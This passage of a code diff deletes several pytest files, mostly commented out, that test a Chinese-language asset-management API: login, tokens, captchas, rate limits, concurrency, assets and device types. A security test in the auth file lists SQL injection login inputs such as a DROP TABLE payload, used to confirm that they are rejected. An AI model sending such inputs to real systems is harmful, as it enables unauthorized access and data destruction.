# assert response.status_code == 200
# assert elapsed_time < 1.0
# class TestConcurrentRequests:
# """测试并发请求"""
#
# def test_concurrent_asset_creation(self, client, auth_headers):
# """测试并发创建资产"""
# asset_data = {
# "asset_name": "并发测试资产",
# "device_type_id": 1,
# "organization_id": 1
# }
#
# def create_asset(i):
# data = asset_data.copy()
# data["asset_name"] = f"并发测试资产-{i}"
# return client.post("/api/v1/assets", headers=auth_headers, json=data)
#
# with ThreadPoolExecutor(max_workers=10) as executor:
# futures = [executor.submit(create_asset, i) for i in range(50)]
# responses = [f.result() for f in futures]
#
# # 所有请求都应该成功
# success_count = sum(1 for r in responses if r.status_code == 201)
# assert success_count == 50
#
# def test_concurrent_same_resource_update(self, client, auth_headers, test_asset):
# """测试并发更新同一资源"""
# def update_asset(i):
# return client.put(
# f"/api/v1/assets/{test_asset.id}",
# headers=auth_headers,
# json={"location": f"位置-{i}"}
# )
#
# with ThreadPoolExecutor(max_workers=5) as executor:
# futures = [executor.submit(update_asset, i) for i in range(10)]
# responses = [f.result() for f in futures]
#
# # 所有请求都应该成功(乐观锁会处理并发)
# assert all(r.status_code in [200, 409] for r in responses)
#
# @pytest.mark.slow
# def test_high_concurrent_load(self, client, auth_headers):
# """测试高并发负载"""
# def make_request():
# return client.get("/api/v1/assets", headers=auth_headers)
#
# # 模拟100个并发请求
# with ThreadPoolExecutor(max_workers=20) as executor:
# futures = [executor.submit(make_request) for _ in range(100)]
# responses = [f.result() for f in futures]
#
# success_count = sum(1 for r in responses if r.status_code == 200)
# success_rate = success_count / 100
#
# # 成功率应该大于95%
# assert success_rate > 0.95
#
# def test_rate_limiting(self, client):
# """测试请求频率限制"""
# # 登录接口限制10次/分钟
# responses = []
# for i in range(12):
# response = client.post(
# "/api/v1/auth/login",
# json={
# "username": "test",
# "password": "test",
# "captcha": "1234",
# "captcha_key": f"test-{i}"
# }
# )
# responses.append(response)
#
# # 应该有部分请求被限流
# rate_limited_count = sum(1 for r in responses if r.status_code == 429)
# assert rate_limited_count >= 1
# class TestDataIntegrity:
# """测试数据完整性"""
#
# def test_create_and_retrieve_asset(self, client, auth_headers):
# """测试创建后获取数据一致性"""
# # 创建资产
# asset_data = {
# "asset_name": "数据完整性测试",
# "device_type_id": 1,
# "organization_id": 1,
# "model": "测试型号"
# }
#
# create_response = client.post("/api/v1/assets", headers=auth_headers, json=asset_data)
# assert create_response.status_code == 201
# created_asset = create_response.json()["data"]
#
# # 获取资产
# get_response = client.get(
# f"/api/v1/assets/{created_asset['id']}",
# headers=auth_headers
# )
# assert get_response.status_code == 200
# retrieved_asset = get_response.json()["data"]
#
# # 验证数据一致性
# assert retrieved_asset["asset_name"] == asset_data["asset_name"]
# assert retrieved_asset["model"] == asset_data["model"]
#
# def test_update_and_retrieve_asset(self, client, auth_headers, test_asset):
# """测试更新后获取数据一致性"""
# # 更新资产
# updated_data = {"asset_name": "更新后的名称"}
# client.put(
# f"/api/v1/assets/{test_asset.id}",
# headers=auth_headers,
# json=updated_data
# )
#
# # 获取资产
# response = client.get(
# f"/api/v1/assets/{test_asset.id}",
# headers=auth_headers
# )
# asset = response.json()["data"]
#
# # 验证更新生效
# assert asset["asset_name"] == updated_data["asset_name"]
#
# def test_delete_and_verify_asset(self, client, auth_headers, test_asset):
# """测试删除后无法获取"""
# # 删除资产
# delete_response = client.delete(
# f"/api/v1/assets/{test_asset.id}",
# headers=auth_headers
# )
# assert delete_response.status_code == 200
#
# # 验证无法获取
# get_response = client.get(
# f"/api/v1/assets/{test_asset.id}",
# headers=auth_headers
# )
# assert get_response.status_code == 404

View File

@@ -1,459 +0,0 @@
"""
资产管理模块API测试
测试内容:
- 资产列表查询
- 资产详情查询
- 创建资产
- 更新资产
- 删除资产
- 批量导入
- 扫码查询
"""
import pytest
from datetime import date
# class TestAssetList:
# """测试资产列表"""
#
# def test_get_assets_success(self, client: TestClient, auth_headers):
# """测试获取资产列表成功"""
# response = client.get(
# "/api/v1/assets",
# headers=auth_headers
# )
# assert response.status_code == 200
# data = response.json()
# assert data["code"] == 200
# assert "items" in data["data"]
# assert "total" in data["data"]
# assert "page" in data["data"]
#
# def test_get_assets_with_pagination(self, client: TestClient, auth_headers):
# """测试分页查询"""
# response = client.get(
# "/api/v1/assets?page=1&page_size=10",
# headers=auth_headers
# )
# assert response.status_code == 200
# data = response.json()
# assert data["data"]["page"] == 1
# assert data["data"]["page_size"] == 10
# assert len(data["data"]["items"]) <= 10
#
# def test_get_assets_with_keyword(self, client: TestClient, auth_headers, test_asset):
# """测试关键词搜索"""
# response = client.get(
# f"/api/v1/assets?keyword={test_asset.asset_name}",
# headers=auth_headers
# )
# assert response.status_code == 200
# data = response.json()
# assert len(data["data"]["items"]) > 0
#
# def test_get_assets_with_device_type_filter(self, client: TestClient, auth_headers):
# """测试按设备类型筛选"""
# response = client.get(
# "/api/v1/assets?device_type_id=1",
# headers=auth_headers
# )
# assert response.status_code == 200
#
# def test_get_assets_with_status_filter(self, client: TestClient, auth_headers):
# """测试按状态筛选"""
# response = client.get(
# "/api/v1/assets?status=in_stock",
# headers=auth_headers
# )
# assert response.status_code == 200
#
# def test_get_assets_with_organization_filter(self, client: TestClient, auth_headers):
# """测试按网点筛选"""
# response = client.get(
# "/api/v1/assets?organization_id=1",
# headers=auth_headers
# )
# assert response.status_code == 200
#
# def test_get_assets_with_date_range(self, client: TestClient, auth_headers):
# """测试按采购日期范围筛选"""
# response = client.get(
# "/api/v1/assets?purchase_date_start=2024-01-01&purchase_date_end=2024-12-31",
# headers=auth_headers
# )
# assert response.status_code == 200
#
# def test_get_assets_with_sorting(self, client: TestClient, auth_headers):
# """测试排序"""
# response = client.get(
# "/api/v1/assets?sort_by=purchase_date&sort_order=desc",
# headers=auth_headers
# )
# assert response.status_code == 200
#
# def test_get_assets_unauthorized(self, client: TestClient):
# """测试未授权访问"""
# response = client.get("/api/v1/assets")
# assert response.status_code == 401
#
# @pytest.mark.parametrize("page,page_size", [
# (0, 20), # 页码从0开始
# (1, 0), # 每页0条
# (-1, 20), # 负页码
# (1, 1000), # 超大页码
# ])
# def test_get_assets_invalid_pagination(self, client: TestClient, auth_headers, page, page_size):
# """测试无效分页参数"""
# response = client.get(
# f"/api/v1/assets?page={page}&page_size={page_size}",
# headers=auth_headers
# )
# assert response.status_code == 422
# class TestAssetDetail:
# """测试资产详情"""
#
# def test_get_asset_detail_success(self, client: TestClient, auth_headers, test_asset):
# """测试获取资产详情成功"""
# response = client.get(
# f"/api/v1/assets/{test_asset.id}",
# headers=auth_headers
# )
# assert response.status_code == 200
# data = response.json()
# assert data["code"] == 200
# assert data["data"]["id"] == test_asset.id
# assert data["data"]["asset_code"] == test_asset.asset_code
# assert "status_history" in data["data"]
#
# def test_get_asset_detail_not_found(self, client: TestClient, auth_headers):
# """测试获取不存在的资产"""
# response = client.get(
# "/api/v1/assets/999999",
# headers=auth_headers
# )
# assert response.status_code == 404
# data = response.json()
# assert data["code"] == 30002 # 资产不存在
#
# def test_get_asset_detail_unauthorized(self, client: TestClient, test_asset):
# """测试未授权访问"""
# response = client.get(f"/api/v1/assets/{test_asset.id}")
# assert response.status_code == 401
# class TestCreateAsset:
# """测试创建资产"""
#
# def test_create_asset_success(self, client: TestClient, auth_headers, sample_asset_data):
# """测试创建资产成功"""
# response = client.post(
# "/api/v1/assets",
# headers=auth_headers,
# json=sample_asset_data
# )
# assert response.status_code == 201
# data = response.json()
# assert data["code"] == 200
# assert "asset_code" in data["data"]
# assert data["data"]["asset_code"].startswith("ASSET-")
# assert data["data"]["status"] == "pending"
#
# def test_create_asset_without_auth(self, client: TestClient, sample_asset_data):
# """测试未认证创建"""
# response = client.post("/api/v1/assets", json=sample_asset_data)
# assert response.status_code == 401
#
# def test_create_asset_missing_required_fields(self, client: TestClient, auth_headers):
# """测试缺少必填字段"""
# response = client.post(
# "/api/v1/assets",
# headers=auth_headers,
# json={"asset_name": "测试资产"} # 缺少device_type_id等必填字段
# )
# assert response.status_code == 422
#
# @pytest.mark.parametrize("field,value,error_msg", [
# ("asset_name", "", "资产名称不能为空"),
# ("asset_name", "a" * 201, "资产名称过长"),
# ("device_type_id", 0, "设备类型ID无效"),
# ("device_type_id", -1, "设备类型ID无效"),
# ("purchase_price", -100, "采购价格不能为负数"),
# ])
# def test_create_asset_invalid_field(self, client: TestClient, auth_headers, field, value, error_msg):
# """测试无效字段值"""
# data = {
# "asset_name": "测试资产",
# "device_type_id": 1,
# "organization_id": 1
# }
# data[field] = value
#
# response = client.post(
# "/api/v1/assets",
# headers=auth_headers,
# json=data
# )
# assert response.status_code in [400, 422]
#
# def test_create_asset_duplicate_serial_number(self, client: TestClient, auth_headers, sample_asset_data):
# """测试序列号重复"""
# # 第一次创建
# client.post("/api/v1/assets", headers=auth_headers, json=sample_asset_data)
#
# # 第二次使用相同序列号创建
# response = client.post("/api/v1/assets", headers=auth_headers, json=sample_asset_data)
# assert response.status_code == 409 # Conflict
#
# def test_create_asset_with_dynamic_attributes(self, client: TestClient, auth_headers):
# """测试带动态字段创建"""
# data = {
# "asset_name": "测试资产",
# "device_type_id": 1,
# "organization_id": 1,
# "dynamic_attributes": {
# "cpu": "Intel i5-10400",
# "memory": "16GB",
# "disk": "512GB SSD",
# "gpu": "GTX 1660Ti"
# }
# }
#
# response = client.post(
# "/api/v1/assets",
# headers=auth_headers,
# json=data
# )
# assert response.status_code == 201
#
# def test_create_asset_invalid_device_type(self, client: TestClient, auth_headers, sample_asset_data):
# """测试无效的设备类型"""
# sample_asset_data["device_type_id"] = 999999
# response = client.post(
# "/api/v1/assets",
# headers=auth_headers,
# json=sample_asset_data
# )
# assert response.status_code == 400
#
# def test_create_asset_invalid_organization(self, client: TestClient, auth_headers, sample_asset_data):
# """测试无效的网点"""
# sample_asset_data["organization_id"] = 999999
# response = client.post(
# "/api/v1/assets",
# headers=auth_headers,
# json=sample_asset_data
# )
# assert response.status_code == 400
# class TestUpdateAsset:
# """测试更新资产"""
#
# def test_update_asset_success(self, client: TestClient, auth_headers, test_asset):
# """测试更新资产成功"""
# response = client.put(
# f"/api/v1/assets/{test_asset.id}",
# headers=auth_headers,
# json={
# "asset_name": "更新后的资产名称",
# "location": "新位置"
# }
# )
# assert response.status_code == 200
#
# def test_update_asset_partial_fields(self, client: TestClient, auth_headers, test_asset):
# """测试部分字段更新"""
# response = client.put(
# f"/api/v1/assets/{test_asset.id}",
# headers=auth_headers,
# json={"location": "只更新位置"}
# )
# assert response.status_code == 200
#
# def test_update_asset_not_found(self, client: TestClient, auth_headers):
# """测试更新不存在的资产"""
# response = client.put(
# "/api/v1/assets/999999",
# headers=auth_headers,
# json={"asset_name": "新名称"}
# )
# assert response.status_code == 404
#
# def test_update_asset_status_forbidden(self, client: TestClient, auth_headers, test_asset):
# """测试禁止直接修改状态"""
# response = client.put(
# f"/api/v1/assets/{test_asset.id}",
# headers=auth_headers,
# json={"status": "in_use"} # 状态应该通过分配单修改
# )
# # 状态字段应该被忽略或返回错误
# assert response.status_code in [200, 400]
#
# def test_update_asset_unauthorized(self, client: TestClient, test_asset):
# """测试未授权更新"""
# response = client.put(
# f"/api/v1/assets/{test_asset.id}",
# json={"asset_name": "新名称"}
# )
# assert response.status_code == 401
# class TestDeleteAsset:
# """测试删除资产"""
#
# def test_delete_asset_success(self, client: TestClient, auth_headers, test_asset):
# """测试删除资产成功"""
# response = client.delete(
# f"/api/v1/assets/{test_asset.id}",
# headers=auth_headers
# )
# assert response.status_code == 200
#
# # 验证删除
# get_response = client.get(
# f"/api/v1/assets/{test_asset.id}",
# headers=auth_headers
# )
# assert get_response.status_code == 404
#
# def test_delete_asset_not_found(self, client: TestClient, auth_headers):
# """测试删除不存在的资产"""
# response = client.delete(
# "/api/v1/assets/999999",
# headers=auth_headers
# )
# assert response.status_code == 404
#
# def test_delete_asset_in_use(self, client: TestClient, auth_headers):
# """测试删除使用中的资产"""
# # 创建使用中的资产
# # ... 创建in_use状态的资产
#
# response = client.delete(
# "/api/v1/assets/1",
# headers=auth_headers
# )
# # 使用中的资产不能删除
# assert response.status_code == 400
#
# def test_delete_asset_without_permission(self, client: TestClient, auth_headers):
# """测试无权限删除"""
# # 使用普通用户token而非管理员
# response = client.delete(
# "/api/v1/assets/1",
# headers=auth_headers
# )
# assert response.status_code == 403
# class TestAssetImport:
# """测试批量导入资产"""
#
# def test_import_assets_success(self, client: TestClient, auth_headers):
# """测试导入成功"""
# # 准备测试Excel文件
# # ... 创建临时Excel文件
#
# with open("test_import.xlsx", "rb") as f:
# files = {"file": ("test_import.xlsx", f, "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet")}
# response = client.post(
# "/api/v1/assets/import",
# headers=auth_headers,
# files=files
# )
#
# assert response.status_code == 200
# data = response.json()
# assert data["data"]["total"] > 0
# assert data["data"]["success"] > 0
#
# def test_import_assets_partial_failure(self, client: TestClient, auth_headers):
# """测试部分失败"""
# # 准备包含错误数据的Excel文件
#
# with open("test_import_partial_fail.xlsx", "rb") as f:
# files = {"file": ("test_import.xlsx", f, "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet")}
# response = client.post(
# "/api/v1/assets/import",
# headers=auth_headers,
# files=files
# )
#
# assert response.status_code == 200
# data = response.json()
# assert data["data"]["failed"] > 0
# assert len(data["data"]["errors"]) > 0
#
# def test_import_assets_invalid_file_format(self, client: TestClient, auth_headers):
# """测试无效文件格式"""
# with open("test.txt", "rb") as f:
# files = {"file": ("test.txt", f, "text/plain")}
# response = client.post(
# "/api/v1/assets/import",
# headers=auth_headers,
# files=files
# )
#
# assert response.status_code == 400
#
# def test_import_assets_missing_columns(self, client: TestClient, auth_headers):
# """测试缺少必填列"""
# # 准备缺少必填列的Excel文件
#
# with open("test_missing_columns.xlsx", "rb") as f:
# files = {"file": ("test.xlsx", f, "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet")}
# response = client.post(
# "/api/v1/assets/import",
# headers=auth_headers,
# files=files
# )
#
# assert response.status_code == 400
# class TestAssetScan:
# """测试扫码查询"""
#
# def test_scan_asset_success(self, client: TestClient, auth_headers, test_asset):
# """测试扫码查询成功"""
# response = client.get(
# f"/api/v1/assets/scan/{test_asset.asset_code}",
# headers=auth_headers
# )
# assert response.status_code == 200
# data = response.json()
# assert data["data"]["asset_code"] == test_asset.asset_code
#
# def test_scan_asset_invalid_code(self, client: TestClient, auth_headers):
# """测试无效的资产编码"""
# response = client.get(
# "/api/v1/assets/scan/INVALID-CODE",
# headers=auth_headers
# )
# assert response.status_code == 404
#
# def test_scan_asset_without_auth(self, client: TestClient, test_asset):
# """测试未认证扫码"""
# response = client.get(f"/api/v1/assets/scan/{test_asset.asset_code}")
# assert response.status_code == 401
# class TestAssetStatistics:
# """测试资产统计"""
#
# def test_get_asset_summary(self, client: TestClient, auth_headers):
# """测试获取资产汇总"""
# response = client.get(
# "/api/v1/assets",
# headers=auth_headers
# )
# assert response.status_code == 200
# data = response.json()
# assert "summary" in data["data"]
# assert "total_count" in data["data"]["summary"]
# assert "total_value" in data["data"]["summary"]
# assert "status_distribution" in data["data"]["summary"]

View File

@@ -1,356 +0,0 @@
"""
认证模块API测试
测试内容:
- 用户登录
- Token刷新
- 用户登出
- 修改密码
- 验证码获取
"""
import pytest
# from fastapi.testclient import TestClient
# from app.core.config import settings
# class TestAuthLogin:
# """测试用户登录"""
#
# def test_login_success(self, client: TestClient, test_user):
# """测试登录成功"""
# response = client.post(
# "/api/v1/auth/login",
# json={
# "username": "testuser",
# "password": "Test123",
# "captcha": "1234",
# "captcha_key": "test-uuid"
# }
# )
# assert response.status_code == 200
# data = response.json()
# assert data["code"] == 200
# assert "access_token" in data["data"]
# assert "refresh_token" in data["data"]
# assert data["data"]["token_type"] == "Bearer"
# assert "user" in data["data"]
#
# def test_login_wrong_password(self, client: TestClient):
# """测试密码错误"""
# response = client.post(
# "/api/v1/auth/login",
# json={
# "username": "testuser",
# "password": "WrongPassword",
# "captcha": "1234",
# "captcha_key": "test-uuid"
# }
# )
# assert response.status_code == 401
# data = response.json()
# assert data["code"] == 10001 # 用户名或密码错误
#
# def test_login_user_not_found(self, client: TestClient):
# """测试用户不存在"""
# response = client.post(
# "/api/v1/auth/login",
# json={
# "username": "nonexistent",
# "password": "Test123",
# "captcha": "1234",
# "captcha_key": "test-uuid"
# }
# )
# assert response.status_code == 401
#
# def test_login_missing_fields(self, client: TestClient):
# """测试缺少必填字段"""
# response = client.post(
# "/api/v1/auth/login",
# json={"username": "testuser"}
# )
# assert response.status_code == 422 # Validation error
#
# @pytest.mark.parametrize("username", [
# "", # 空字符串
# "ab", # 太短
# "a" * 51, # 太长
# ])
# def test_login_invalid_username(self, client: TestClient, username):
# """测试无效用户名"""
# response = client.post(
# "/api/v1/auth/login",
# json={
# "username": username,
# "password": "Test123",
# "captcha": "1234",
# "captcha_key": "test-uuid"
# }
# )
# assert response.status_code == 422
#
# @pytest.mark.parametrize("password", [
# "", # 空字符串
# "short", # 太短
# "nospecial123", # 缺少特殊字符
# "NOlower123!", # 缺少小写字母
# "noupper123!", # 缺少大写字母
# "NoNumber!!", # 缺少数字
# ])
# def test_login_invalid_password(self, client: TestClient, password):
# """测试无效密码"""
# response = client.post(
# "/api/v1/auth/login",
# json={
# "username": "testuser",
# "password": password,
# "captcha": "1234",
# "captcha_key": "test-uuid"
# }
# )
# # 某些情况可能是422(验证失败),某些情况可能是401(认证失败)
# assert response.status_code in [400, 422, 401]
#
# def test_login_account_locked(self, client: TestClient, db):
# """测试账户被锁定"""
# # 创建一个锁定的账户
# # ... 创建锁定用户逻辑
# response = client.post(
# "/api/v1/auth/login",
# json={
# "username": "lockeduser",
# "password": "Test123",
# "captcha": "1234",
# "captcha_key": "test-uuid"
# }
# )
# assert response.status_code == 403
#
# def test_login_account_disabled(self, client: TestClient, db):
# """测试账户被禁用"""
# # ... 创建禁用用户逻辑
# response = client.post(
# "/api/v1/auth/login",
# json={
# "username": "disableduser",
# "password": "Test123",
# "captcha": "1234",
# "captcha_key": "test-uuid"
# }
# )
# assert response.status_code == 403
# class TestTokenRefresh:
# """测试Token刷新"""
#
# def test_refresh_token_success(self, client: TestClient, test_user):
# """测试刷新Token成功"""
# # 先登录获取refresh_token
# login_response = client.post(
# "/api/v1/auth/login",
# json={
# "username": "testuser",
# "password": "Test123",
# "captcha": "1234",
# "captcha_key": "test-uuid"
# }
# )
# refresh_token = login_response.json()["data"]["refresh_token"]
#
# # 刷新Token
# response = client.post(
# "/api/v1/auth/refresh",
# json={"refresh_token": refresh_token}
# )
# assert response.status_code == 200
# data = response.json()
# assert data["code"] == 200
# assert "access_token" in data["data"]
# assert "expires_in" in data["data"]
#
# def test_refresh_token_invalid(self, client: TestClient):
# """测试无效的refresh_token"""
# response = client.post(
# "/api/v1/auth/refresh",
# json={"refresh_token": "invalid_token"}
# )
# assert response.status_code == 401
# data = response.json()
# assert data["code"] == 10004 # Token无效
#
# def test_refresh_token_expired(self, client: TestClient):
# """测试过期的refresh_token"""
# response = client.post(
# "/api/v1/auth/refresh",
# json={"refresh_token": "expired_token"}
# )
# assert response.status_code == 401
# data = response.json()
# assert data["code"] == 10003 # Token过期
# class TestAuthLogout:
# """测试用户登出"""
#
# def test_logout_success(self, client: TestClient, auth_headers):
# """测试登出成功"""
# response = client.post(
# "/api/v1/auth/logout",
# headers=auth_headers
# )
# assert response.status_code == 200
# data = response.json()
# assert data["code"] == 200
# assert data["message"] == "登出成功"
#
# def test_logout_without_auth(self, client: TestClient):
# """测试未认证登出"""
# response = client.post("/api/v1/auth/logout")
# assert response.status_code == 401
# class TestChangePassword:
# """测试修改密码"""
#
# def test_change_password_success(self, client: TestClient, auth_headers):
# """测试修改密码成功"""
# response = client.put(
# "/api/v1/auth/change-password",
# headers=auth_headers,
# json={
# "old_password": "Test123",
# "new_password": "NewTest456",
# "confirm_password": "NewTest456"
# }
# )
# assert response.status_code == 200
# data = response.json()
# assert data["code"] == 200
# assert data["message"] == "密码修改成功"
#
# def test_change_password_wrong_old_password(self, client: TestClient, auth_headers):
# """测试旧密码错误"""
# response = client.put(
# "/api/v1/auth/change-password",
# headers=auth_headers,
# json={
# "old_password": "WrongPassword",
# "new_password": "NewTest456",
# "confirm_password": "NewTest456"
# }
# )
# assert response.status_code == 400
#
# def test_change_password_mismatch(self, client: TestClient, auth_headers):
# """测试两次密码不一致"""
# response = client.put(
# "/api/v1/auth/change-password",
# headers=auth_headers,
# json={
# "old_password": "Test123",
# "new_password": "NewTest456",
# "confirm_password": "DifferentPass789"
# }
# )
# assert response.status_code == 400
#
# def test_change_password_weak_password(self, client: TestClient, auth_headers):
# """测试弱密码"""
# response = client.put(
# "/api/v1/auth/change-password",
# headers=auth_headers,
# json={
# "old_password": "Test123",
# "new_password": "weak",
# "confirm_password": "weak"
# }
# )
# assert response.status_code == 400
#
# def test_change_password_without_auth(self, client: TestClient):
# """测试未认证修改密码"""
# response = client.put(
# "/api/v1/auth/change-password",
# json={
# "old_password": "Test123",
# "new_password": "NewTest456",
# "confirm_password": "NewTest456"
# }
# )
# assert response.status_code == 401
# class TestCaptcha:
# """测试验证码"""
#
# def test_get_captcha_success(self, client: TestClient):
# """测试获取验证码成功"""
# response = client.get("/api/v1/auth/captcha")
# assert response.status_code == 200
# data = response.json()
# assert data["code"] == 200
# assert "captcha_key" in data["data"]
# assert "captcha_image" in data["data"]
# assert data["data"]["captcha_image"].startswith("data:image/png;base64,")
#
# @pytest.mark.parametrize("count", range(5))
# def test_get_captcha_multiple_times(self, client: TestClient, count):
# """测试多次获取验证码,每次应该不同"""
# response = client.get("/api/v1/auth/captcha")
# assert response.status_code == 200
# data = response.json()
# assert data["data"]["captcha_key"] is not None
# class TestRateLimiting:
# """测试请求频率限制"""
#
# def test_login_rate_limiting(self, client: TestClient):
# """测试登录接口频率限制"""
# # 登录接口限制10次/分钟
# for i in range(11):
# response = client.post(
# "/api/v1/auth/login",
# json={
# "username": "testuser",
# "password": "wrongpass",
# "captcha": "1234",
# "captcha_key": f"test-{i}"
# }
# )
#
# # 第11次应该被限流
# assert response.status_code == 429
# data = response.json()
# assert data["code"] == 429
# assert "retry_after" in data["data"]
# 测试SQL注入攻击
# class TestSecurity:
# """测试安全性"""
#
# def test_sql_injection_prevention(self, client: TestClient):
# """测试防止SQL注入"""
# malicious_inputs = [
# "admin' OR '1'='1",
# "admin'--",
# "admin'/*",
# "' OR 1=1--",
# "'; DROP TABLE users--"
# ]
#
# for malicious_input in malicious_inputs:
# response = client.post(
# "/api/v1/auth/login",
# json={
# "username": malicious_input,
# "password": "Test123",
# "captcha": "1234",
# "captcha_key": "test"
# }
# )
# # 应该返回认证失败,而不是数据库错误
# assert response.status_code in [401, 400, 422]

View File

@@ -1,880 +0,0 @@
"""
设备类型管理模块API测试
测试内容:
- 设备类型CRUD测试(15+用例)
- 动态字段配置测试(10+用例)
- 字段验证测试(10+用例)
- 参数验证测试(10+用例)
- 异常处理测试(5+用例)
"""
import pytest
from httpx import AsyncClient
from datetime import datetime
# ==================== 设备类型CRUD测试 ====================
class TestDeviceTypeCRUD:
"""测试设备类型CRUD操作"""
@pytest.mark.asyncio
async def test_create_device_type_success(
self,
client: AsyncClient,
admin_headers: dict,
sample_device_type_data: dict
):
"""测试创建设备类型成功"""
response = await client.post(
"/api/v1/device-types",
headers=admin_headers,
json=sample_device_type_data
)
assert response.status_code == 200
data = response.json()
assert data["code"] == 200
assert data["data"]["type_code"] == sample_device_type_data["type_code"]
assert data["data"]["type_name"] == sample_device_type_data["type_name"]
assert "id" in data["data"]
@pytest.mark.asyncio
async def test_create_device_type_duplicate_code(
self,
client: AsyncClient,
admin_headers: dict,
test_device_type
):
"""测试创建重复代码的设备类型"""
response = await client.post(
"/api/v1/device-types",
headers=admin_headers,
json={
"type_code": test_device_type.type_code,
"type_name": "另一个类型"
}
)
assert response.status_code in [400, 409]
@pytest.mark.asyncio
async def test_get_device_type_list(
self,
client: AsyncClient,
admin_headers: dict,
test_device_type
):
"""测试获取设备类型列表"""
response = await client.get(
"/api/v1/device-types",
headers=admin_headers
)
assert response.status_code == 200
data = response.json()
assert data["code"] == 200
assert len(data["data"]) >= 1
@pytest.mark.asyncio
async def test_get_device_type_by_id(
self,
client: AsyncClient,
admin_headers: dict,
test_device_type
):
"""测试根据ID获取设备类型"""
response = await client.get(
f"/api/v1/device-types/{test_device_type.id}",
headers=admin_headers
)
assert response.status_code == 200
data = response.json()
assert data["code"] == 200
assert data["data"]["id"] == test_device_type.id
assert data["data"]["type_code"] == test_device_type.type_code
@pytest.mark.asyncio
async def test_get_device_type_by_code(
self,
client: AsyncClient,
admin_headers: dict,
test_device_type
):
"""测试根据代码获取设备类型"""
response = await client.get(
f"/api/v1/device-types/code/{test_device_type.type_code}",
headers=admin_headers
)
assert response.status_code == 200
data = response.json()
assert data["code"] == 200
assert data["data"]["type_code"] == test_device_type.type_code
@pytest.mark.asyncio
async def test_get_device_type_with_fields(
self,
client: AsyncClient,
admin_headers: dict,
test_device_type_with_fields
):
"""测试获取设备类型及其字段"""
response = await client.get(
f"/api/v1/device-types/{test_device_type_with_fields.id}",
headers=admin_headers
)
assert response.status_code == 200
data = response.json()
assert data["code"] == 200
# 验证字段存在
# assert "fields" in data["data"]
@pytest.mark.asyncio
async def test_update_device_type_success(
self,
client: AsyncClient,
admin_headers: dict,
test_device_type
):
"""测试更新设备类型成功"""
response = await client.put(
f"/api/v1/device-types/{test_device_type.id}",
headers=admin_headers,
json={
"type_name": "更新后的类型名称",
"description": "更新后的描述"
}
)
assert response.status_code == 200
data = response.json()
assert data["code"] == 200
@pytest.mark.asyncio
async def test_update_device_type_status(
self,
client: AsyncClient,
admin_headers: dict,
test_device_type
):
"""测试更新设备类型状态"""
response = await client.put(
f"/api/v1/device-types/{test_device_type.id}",
headers=admin_headers,
json={"status": "inactive"}
)
assert response.status_code == 200
@pytest.mark.asyncio
async def test_delete_device_type_success(
self,
client: AsyncClient,
admin_headers: dict,
db_session,
test_device_type
):
"""测试删除设备类型成功"""
response = await client.delete(
f"/api/v1/device-types/{test_device_type.id}",
headers=admin_headers
)
assert response.status_code == 200
# 验证软删除
get_response = await client.get(
f"/api/v1/device-types/{test_device_type.id}",
headers=admin_headers
)
# 应该返回404或显示已删除
assert get_response.status_code in [404, 200]
@pytest.mark.asyncio
async def test_delete_device_type_with_assets_forbidden(
self,
client: AsyncClient,
admin_headers: dict,
test_device_type
):
"""测试删除有关联资产的设备类型(应该失败)"""
# 假设test_device_type有关联资产
# 实际测试中需要先创建资产
response = await client.delete(
f"/api/v1/device-types/{test_device_type.id}",
headers=admin_headers
)
# 如果有关联资产应该返回400或403
# assert response.status_code in [400, 403]
@pytest.mark.asyncio
async def test_filter_device_type_by_category(
self,
client: AsyncClient,
admin_headers: dict,
test_device_type
):
"""测试按分类筛选设备类型"""
response = await client.get(
f"/api/v1/device-types?category={test_device_type.category}",
headers=admin_headers
)
assert response.status_code == 200
data = response.json()
assert data["code"] == 200
# 验证筛选结果
# for item in data["data"]:
# assert item["category"] == test_device_type.category
@pytest.mark.asyncio
async def test_filter_device_type_by_status(
self,
client: AsyncClient,
admin_headers: dict,
test_device_type
):
"""测试按状态筛选设备类型"""
response = await client.get(
f"/api/v1/device-types?status={test_device_type.status}",
headers=admin_headers
)
assert response.status_code == 200
data = response.json()
assert data["code"] == 200
@pytest.mark.asyncio
async def test_get_device_type_not_found(
self,
client: AsyncClient,
admin_headers: dict
):
"""测试获取不存在的设备类型"""
response = await client.get(
"/api/v1/device-types/999999",
headers=admin_headers
)
assert response.status_code == 404
@pytest.mark.asyncio
async def test_update_device_type_not_found(
self,
client: AsyncClient,
admin_headers: dict
):
"""测试更新不存在的设备类型"""
response = await client.put(
"/api/v1/device-types/999999",
headers=admin_headers,
json={"type_name": "新名称"}
)
assert response.status_code == 404
@pytest.mark.asyncio
async def test_create_device_type_unauthorized(
self,
client: AsyncClient,
sample_device_type_data: dict
):
"""测试未授权创建设备类型"""
response = await client.post(
"/api/v1/device-types",
json=sample_device_type_data
)
assert response.status_code == 401
# ==================== 动态字段配置测试 ====================
class TestDynamicFieldConfig:
"""测试动态字段配置"""
@pytest.mark.asyncio
async def test_add_field_to_device_type(
self,
client: AsyncClient,
admin_headers: dict,
test_device_type: DeviceType,
sample_field_data: dict
):
"""测试为设备类型添加字段"""
response = await client.post(
f"/api/v1/device-types/{test_device_type.id}/fields",
headers=admin_headers,
json=sample_field_data
)
assert response.status_code == 200
data = response.json()
assert data["code"] == 200
assert data["data"]["field_code"] == sample_field_data["field_code"]
@pytest.mark.asyncio
async def test_add_required_field(
self,
client: AsyncClient,
admin_headers: dict,
test_device_type: DeviceType
):
"""测试添加必填字段"""
response = await client.post(
f"/api/v1/device-types/{test_device_type.id}/fields",
headers=admin_headers,
json={
"field_code": "required_field",
"field_name": "必填字段",
"field_type": "text",
"is_required": True,
"sort_order": 10
}
)
assert response.status_code == 200
data = response.json()
assert data["data"]["is_required"] is True
@pytest.mark.asyncio
async def test_add_select_field_with_options(
self,
client: AsyncClient,
admin_headers: dict,
test_device_type: DeviceType
):
"""测试添加下拉选择字段"""
response = await client.post(
f"/api/v1/device-types/{test_device_type.id}/fields",
headers=admin_headers,
json={
"field_code": "status",
"field_name": "状态",
"field_type": "select",
"is_required": True,
"options": [
{"label": "启用", "value": "enabled"},
{"label": "禁用", "value": "disabled"}
],
"sort_order": 10
}
)
assert response.status_code == 200
data = response.json()
assert data["data"]["field_type"] == "select"
assert len(data["data"]["options"]) == 2
@pytest.mark.asyncio
async def test_add_number_field_with_validation(
self,
client: AsyncClient,
admin_headers: dict,
test_device_type: DeviceType
):
"""测试添加数字字段并设置验证规则"""
response = await client.post(
